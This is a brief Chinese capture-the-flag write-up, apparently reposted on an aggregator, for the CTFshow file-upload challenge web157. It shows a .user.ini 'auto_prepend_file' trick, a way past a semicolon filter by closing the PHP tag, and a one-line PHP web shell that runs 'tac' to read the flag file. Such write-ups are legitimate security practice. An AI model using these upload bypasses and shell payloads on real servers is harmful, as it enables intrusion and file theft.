目錄

• 思路
• 總結(jié)

---

---

思路

直接在burp里面改target和host的值,或者在本地發(fā)包


成功上傳.user.ini

auto_prepend_file=shell.png

在上傳shell.png的時候,對比上題,;和反引號也不能用了,過濾;可以用閉合php標(biāo)簽用?>來繞過

shell.png

<?system('tac ../f*')?>

訪問/upload,拿到flag

---

總結(jié)

…

總結(jié)

以上是生活随笔為你收集整理的CTFshow 文件上传 web157的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。